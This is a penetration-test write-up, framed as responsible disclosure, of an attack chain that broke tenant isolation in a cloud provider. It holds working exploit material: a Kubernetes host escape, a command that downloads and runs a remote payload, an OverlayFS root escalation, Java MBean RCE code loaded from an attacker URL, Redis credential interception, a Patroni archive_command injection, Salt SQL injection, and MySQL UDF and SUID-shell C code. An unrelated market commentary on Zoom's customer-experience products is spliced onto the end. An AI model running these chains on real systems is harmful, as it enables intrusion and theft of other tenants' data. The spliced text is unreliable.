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An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure

This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.

Introduction

Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.

This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).

1. Gaining initial access through a managed Kubernetes cluster

Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.

1.1. Escaping the worker node

First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.

kubectl run pod-name-bla \
   --image=alpine \
   --restart=Never \
   --overrides='
 {
   "apiVersion": "v1",
   "spec": {
     "hostPID": true,
     "containers": [
       {
         "name": "priv",
         "image": "alpine",
         "command": [ "sh", "-c", "sleep 3600" ],
         "stdin": true,
         "tty": true,
         "securityContext": {
           "privileged": true
         }
       }
     ]
   }
 }'

After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:

nsenter --target 1 --mount --uts --ipc --net --pid – bash

After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.

Kubelet configuration and API server address

Kubelet configuration and API server address

Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.

Konnectivity service account token

Konnectivity service account token

1.2. Analysis of control plane services

After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:

192.168.0.4:9443 open https status=404
192.168.0.4:2380 open
192.168.0.4:6443 open http status=400
192.168.0.4:8132 open
192.168.0.4:9100 open http status=200 title="Node Exporter"
192.168.0.4:9308 open http status=200 title="kube-state-metrics"

Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.

Interaction diagram between control plane and data plane via Konnectivity

1.3. Exploiting Konnectivity

To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.

A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.

Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.

service AgentService {
  rpc Connect(stream Packet) returns (stream Packet) {}
}

The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:

//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26

enum PacketType {
  DIAL_REQ = 0;
  DIAL_RSP = 1;
  ...
}

message Packet {
  PacketType type = 1;

  oneof payload {
    DialRequest dialRequest = 2;
    DialResponse dialResponse = 3;
    Data data = 4;
    CloseRequest closeRequest = 5;
    CloseResponse closeResponse = 6;
    CloseDial closeDial = 7;
  }
}

message DialRequest {
    // tcp or udp?
    string protocol = 1;
    // node:port
    string address = 2;
    // random id for client, maybe should be longer
    int64 random = 3;
}

The server reads any Packet packets from the stream initiated by the agent (worker node):

//apiserver-network-proxy/pkg/server/server.go:721
in, err := stream.Recv()
...
recvCh <- in

Next, the packets go to the backend manager:

//apiserver-network-proxy/pkg/server/server.go:748

func (s *ProxyServer) serveRecvBackend(...) {
    for pkt := range recvCh {
        switch pkt.Type {

Then comes the most interesting part:

//apiserver-network-proxy/pkg/server/server.go:888

case client.PacketType_DIAL_REQ:
    req := pkt.GetDialRequest()
    klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
    s.handleDialRequest(pkt, backend)

In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).

//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
  ...
  dialReq := pkt.GetDialRequest()
  resp.GetDialResponse().Random = dialReq.Random

  start := time.Now()
  conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address

This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:

org.freedesktop.DBus
 org.freedesktop.PackageKit
 org.freedesktop.PolicyKit1
 org.freedesktop.login1
 org.freedesktop.systemd1
 com.ubuntu.SoftwareProperties

Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:

busctl --address=unix:path=/tmp/master-dbus.sock \
  call org.freedesktop.login1 \
       /org/freedesktop/login1 \
       org.freedesktop.login1.Manager \
       SetUserLinger ubb 997 true false

The following sockets were then opened:

/run/user/997/bus
 /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)

Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:

StartTransientUnit(
  name: string,
  mode: string,
  properties: a(sv),
  aux: a(sa(sv))
) -> job object path

The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:

ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"

As a result, we successfully received a callback from the control plane.

Konnectivity-server context and node network interfaces

Konnectivity-server context and node network interfaces

Mirantis, the company behind the k0s project, confirmed the vulnerability.

1.4. Privilege escalation on the host

Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).

In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.

To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.

rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe

unshare -rm sh -c '
 mkdir l u w m &&
 cp /usr/bin/python3 l/ &&
 chmod 755 l/python3 &&
 setcap cap_setuid+eip l/python3 &&
 mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
 touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'

Confirmation of command execution with root privileges

Confirmation of command execution with root privileges

Gaining root privileges opened up several interesting attack vectors:

  1. We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
  2. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.

2. Adventures in the overlay network

2.1. Victoria stack

An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.

When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:

"discoveredLabels": {
           "__address__": "http://100.64.1.1:6897/metrics",
           "__meta_url": "CENSORED",
           "__metrics_path__": "/metrics",
           "__scheme__": "http",
           "__scrape_interval__": "2m0s",
           "__scrape_timeout__": "2m0s",
           "cluster_id": "676767",
           "customer": "customerID",
           "job": "http",
           "profile": "kubernetes",
           "vds_id": "1337",
           "version": "1.0"
         }

It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.

We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.

Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.

Private SSH key in a VictoriaLogs record

Private SSH key in a VictoriaLogs record

We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.

Process privileges on the host and available actions in Kubernetes

Process privileges on the host and available actions in Kubernetes

Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.

2.2. Compromising managed Kafka instances

We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.

Discovered Java RMI service on port 9999

Discovered Java RMI service on port 9999

The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:

  • JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
  • JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
  • ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.

The code that handles the connection and initialization of the MBean component looks like this:

//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class JmxCreateMBean {
    private static final class RewritingSocketFactory extends RMISocketFactory {
        private final String fromHost;
        private final String toHost;

        RewritingSocketFactory(String fromHost, String toHost) {
            ...
        }

        @Override
        public Socket createSocket(String host, int port) throws IOException {
            ...
        }

        @Override
        public ServerSocket createServerSocket(int port) throws IOException {
            ...
        }
    }

    public static void main(String[] args) throws Exception {
        ...
        RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
        String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);

        try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
            var mbsc = connector.getMBeanServerConnection();
            try {
                ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
                System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
            } catch (InstanceAlreadyExistsException e) {
                System.out.println("EXISTS " + args[5]);
            }
        }
    }
}

Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:

// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;

public class Exec implements ExecMBean {
    @Override
    public String run(String cmd) throws Exception {
        Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
        byte[] out = p.getInputStream().readAllBytes();
        int rc = p.waitFor();
        return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
    }

    @Override
    public String getB64(String path) throws Exception {
        return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
    }

    @Override
    public String putB64(String path, String b64) throws Exception {
        byte[] data = Base64.getDecoder().decode(b64);
        Files.write(Path.of(path), data);
        return "wrote " + data.length + " bytes";
    }
}

After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.

<html>
<mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet>
</html>

We then perform the following steps:

  1. Create a standard MLet loader inside the Kafka JVM.
  2. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
  3. Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.
Kafka process context and node network interfaces

Kafka process context and node network interfaces

This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.

2.3. Credential leakage through redis-exporter

The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:

//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
  target := r.URL.Query().Get("target")
...

  if !strings.Contains(target, "://") {
    target = "redis://" + target
  }

  u, err := url.Parse(target)
...

  opts := e.options
...
  _, err = NewRedisExporter(target, opts)
...

Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:

http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>

AUTH command in an intercepted Redis request

AUTH command in an intercepted Redis request

The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.

Diagnostic information of the Valkey instance

Diagnostic information of the Valkey instance

(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).

2.4. Compromise of managed PostgreSQL (Patroni) clusters

The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.

Patroni configuration in etcd

Patroni configuration in etcd


{
  "ttl": 30,
  "loop_wait": 10,
  "retry_timeout": 10,
  "maximum_lag_on_failover": 1048576,
  "postgresql": {
    "use_pg_rewind": true,
    "parameters": {
      "archive_command": "id",
      "archive_mode": "always",
      "max_connections": 550,
      "max_locks_per_transaction": 512,
      "max_worker_processes": 27
    }
  }
}

Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:

Update the Patroni configuration with the modified archive_command:

curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

Update the configuration again to add the standby_cluster parameter:

{
"ttl": 30,
"loop_wait": 10,
"retry_timeout": 10,
"maximum_lag_on_failover": 1048576,
"postgresql": {
 "use_pg_rewind": true,
 "parameters": {
   "archive_command": "rce",
   "archive_mode": "on",
   "archive_timeout": "10",
   "max_connections": 550,
   "max_locks_per_transaction": 512,
   "max_worker_processes": 27
 }
},
"standby_cluster": {
 "host": "192.0.2.1",
 "port": 5432
}
}

After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:

cannot be a real primary in standby cluster  
Demoting self (demote-cluster)  
received fast shutdown request  
checkpoint starting: shutdown immediate

Postgres then restarts, and the archiving process runs and executes the injected command:

PostgreSQL process context and node network interfaces

PostgreSQL process context and node network interfaces

This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.

Database and S3 access parameters in a backup file

Database and S3 access parameters in a backup file

This storage holds backups not only of the current instance but also of all other databases in the cloud.

List of backup storage locations in S3

List of backup storage locations in S3

3. Attack on SaltStack management infrastructure

After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.

3.1. Analysis of salt fs

The first step was to dump the entire Salt master file system for subsequent static analysis:

Fragment of the Salt Master file list

Fragment of the Salt Master file list

It contained numerous files.

salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
      mkdir -p "/tmp/dump/$(dirname "$f")"
      salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
    done

Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:

sql = query.format(
            minion_id=minion_id,
            pillar={**pillar, **results},
            grains=__grains__,
        )
        loaded_items = db_connections[db_alias].load_object_list(sql)

A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.

Database error during pillar processing

Database error during pillar processing

3.2. Exploiting the SQLi

This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.

 Fragment of the table list in the cloudsmth schema

Fragment of the table list in the cloudsmth schema

Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.

Records with Salt Master authentication tokens

Records with Salt Master authentication tokens

With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:

curl -k https://salt-master:8000   -H "Accept: application/json"   -H "Content-Type: application/json"   -H "X-Auth-Token: REDACTED"   -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'

By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.

4. Other ways to attack the cloud

It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.

4.1. Exploiting a vulnerability in Managed Valkey

During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:

valkey_version=7.2.11
redis_version=7.2.4
redis_git_sha1=97b6663c
redis_git_dirty=0
redis_build_id=a75ca2f023d97d88
gcc_version=13.3.0
arch_bits=64
os=Linux 6.8.0-124-generic x86_64
executable=/usr/bin/valkey-server

The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.

CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:

NoExecPaths=/
ExecPaths=/usr/bin/valkey-server /usr/lib /lib
CapabilityBoundingSet=
NoNewPrivileges=true
PrivateUsers=true
ProtectSystem=strict
ProtectHome=true
SystemCallFilter=@system-service
SystemCallFilter=~ @privileged @resources

These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.

Valkey process context and Salt grains parameters

Valkey process context and Salt grains parameters

The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.

4.2. MySQL

The MySQL database user didn’t have root privileges when the resource was created.

DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

However, the application logic allowed this user to drop and recreate the table with dynamic privileges:

DROP TABLE IF EXISTS mysql.user;

  CREATE TABLE mysql.user (
    Host char(255) NOT NULL DEFAULT '%',
    User char(32) NOT NULL DEFAULT '',
    Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
    ssl_cipher blob NOT NULL,
    x509_issuer blob NOT NULL,
    x509_subject blob NOT NULL,
    max_questions int unsigned NOT NULL DEFAULT 0,
    max_updates int unsigned NOT NULL DEFAULT 0,
    max_connections int unsigned NOT NULL DEFAULT 0,
    max_user_connections int unsigned NOT NULL DEFAULT 0,
    plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
    authentication_string text,
    password_expired enum('N','Y') NOT NULL DEFAULT 'N',
    password_last_changed timestamp NULL DEFAULT NULL,
    password_lifetime smallint unsigned DEFAULT NULL,
    account_locked enum('N','Y') NOT NULL DEFAULT 'N',
    Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Password_reuse_history smallint unsigned DEFAULT NULL,
    Password_reuse_time smallint unsigned DEFAULT NULL,
    Password_require_current enum('N','Y') DEFAULT NULL,
    User_attributes json DEFAULT NULL,
    PRIMARY KEY (Host, User)
  ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:

INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;

Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

typedef unsigned long long udf_args_type;

typedef struct {
 unsigned int arg_count;
 unsigned int *arg_type;
 char **args;
 unsigned long *lengths;
 char *maybe_null;
 char **attributes;
 unsigned long *attribute_lengths;
 void *extension;
} UDF_ARGS;

typedef struct {
 char maybe_null;
 unsigned int decimals;
 unsigned long max_length;
 char *ptr;
 char const_item;
 void *extension;
} UDF_INIT;

int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
 if (args->arg_count != 1) {
     strcpy(message, "sys_eval requires one argument");
     return 1;
 }
 initid->max_length = 65535;
 return 0;
}

void sys_eval_deinit(UDF_INIT *initid) {}

char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
            unsigned long *length, char *is_null, char *error) {
 if (!args->args[0]) { *is_null = 1; return NULL; }
 char cmd[65535];
 snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
 FILE *pipe = popen(cmd, "r");
 if (!pipe) { *is_null = 1; return NULL; }
 static char buf[65535];
 size_t total = 0;
 while (total < sizeof(buf)-1) {
     size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
     if (n == 0) break;
     total += n;
 }
 pclose(pipe);
 buf[total] = '\0';
 *length = total;
 return buf;
}

RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:

curl -s -X PATCH "https://somecloud/api/dbaas/id" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'

This vector made it possible to inject line breaks and override critical configuration parameters:

default-time-zone="+00:00
secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.

With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:

SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so

We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';

Result of executing id via MySQL UDF

Result of executing id via MySQL UDF

The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:

#include <stdlib.h>
__attribute__((constructor)) static void init(void) {
  system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
}

We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.

Conclusion

The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

Zoom is Delivering Better CX by Combining Communications, AI, and Workflow into One Platform

S. Soh

Summary Bullets:

• Zoom CX is a credible option for enterprises looking to transform their customer engagement with omni-channel and AI capabilities.

• Working with a broader partner ecosystem is pivotal for Zoom to win in CX space since this involves workflows and different business applications.

Zoom is well-known for its conferencing solution, which is used extensively in modern workplace, but it has gone well-beyond conferencing in recent years. The core business of Zoom has been the enabler of conversations within the workplace. To go beyond communications, the company sees new opportunities by expanding its role to help enterprises automate workflows during and after conversations (i.e., meetings and phone conversations). This vastly enlarges the value Zoom can deliver to enterprise customers, especially with the application of AI. For example, AI can eliminate many manual tasks such as generating documents from meeting with summaries and next steps, or updating CRM records after a discussion within the sales team.

Taking this concept a step further, conversations can also include external parties including customers and partners. One area that is of great strategic importance for Zoom is around customer experience (CX) – a rapidly transforming space as a result of enterprises striving to enhance CX to gain an upper hand against competition. This expands Zoom scope to help enterprises streamline workflows related to customer engagement, which can happen across customer services, delivery, marketing, and sales functions. The launch of Zoom Contact Center in 2022 was a major step toward building out the Zoom CX portfolio. The company has developed the product ground up, giving it the ability to meet customer demand with speed without the baggage of legacy systems and features. This is especially useful in having AI natively embedded in the platform instead of building a separate stack. Moreover, there should not be separate communications systems for the internal workplace and for the contact center. A key value proposition for Zoom is its common platform to address both scenarios and deliver the same experience.

